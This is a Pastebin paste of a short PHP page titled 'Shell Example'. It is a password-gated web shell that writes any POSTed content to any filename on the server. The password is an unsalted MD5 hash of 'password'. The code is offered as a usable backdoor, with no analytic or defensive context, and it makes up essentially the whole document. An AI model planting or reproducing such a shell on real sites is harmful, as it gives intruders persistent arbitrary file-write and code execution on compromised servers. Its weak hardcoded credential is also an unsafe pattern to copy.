oppose

Code

Aug 15th, 2016
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. <?php
  2. // Default password: password
  3. $password = "5f4dcc3b5aa765d61d8327deb882cf99";
  4. if(isset($_POST['submit']))
  5. {
  6. if(empty($_POST['filename']) || empty($_POST['code']) || empty($_POST['password']))
  7. {
  8. // If any parameters are empty
  9. die("Empty Parameters!");
  10. } elseif(md5($_POST['password']) !== $password)
  11. {
  12. // If encoded post parameter: password does not match already encoded $password
  13. die("Incorrect password!");
  14. }
  15. // Open file with filename parameter
  16. $file = fopen($_POST['filename'], 'w');
  17. // Write code to file
  18. fwrite($file, $_POST['code']);
  19. // Close file
  20. fclose($file);
  21. // Alert that file was written to
  22. echo "<div align=\"center\" class=\"success\">Successfully written: <b>" . htmlspecialchars($_POST['filename']) . "</b></div>";
  23. }
  24. ?>
  25. <html lang="en">
  26. <head>
  27. <title>Shell Example</title>
  28. <style>
  29. body{background-color:#000000;}
  30. .container{margin-top:12%;}
  31. h1{font-family:Tahoma;color:#fff;}
  32. .filename{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
  33. .code{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
  34. .password{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
  35. #space{padding-top:3px;}
  36. .submit{border:0;background-color:#4DC061;width:16%;padding-top:1%;padding-bottom:1%;border-radius:2%;}
  37. .success{width:16%;background-color:#4DC061;color:#000000;padding-bottom:1%;padding-top:1%;}
  38. </style>
  39. </head>
  40. <body>
  41. <div align="center" class="container">
  42. <form action="" method="POST">
  43. <h1>Shell Example</h1>
  44. <input type="text" name="filename" class="filename" placeholder="Enter Filename..."><div id="space"></div>
  45. <input type="text" name="code" class="code" placeholder="Enter HTML Code..."><div id="space"></div>
  46. <input type="password" name="password" class="password" placeholder="Enter Password..."><div id="space"></div>
  47. <input type="submit" name="submit" class="submit" value="Submit">
  48. </form>
  49. </div>
  50. </body>
  51. </html>
Advertisement
Add Comment
Please, Sign In to add comment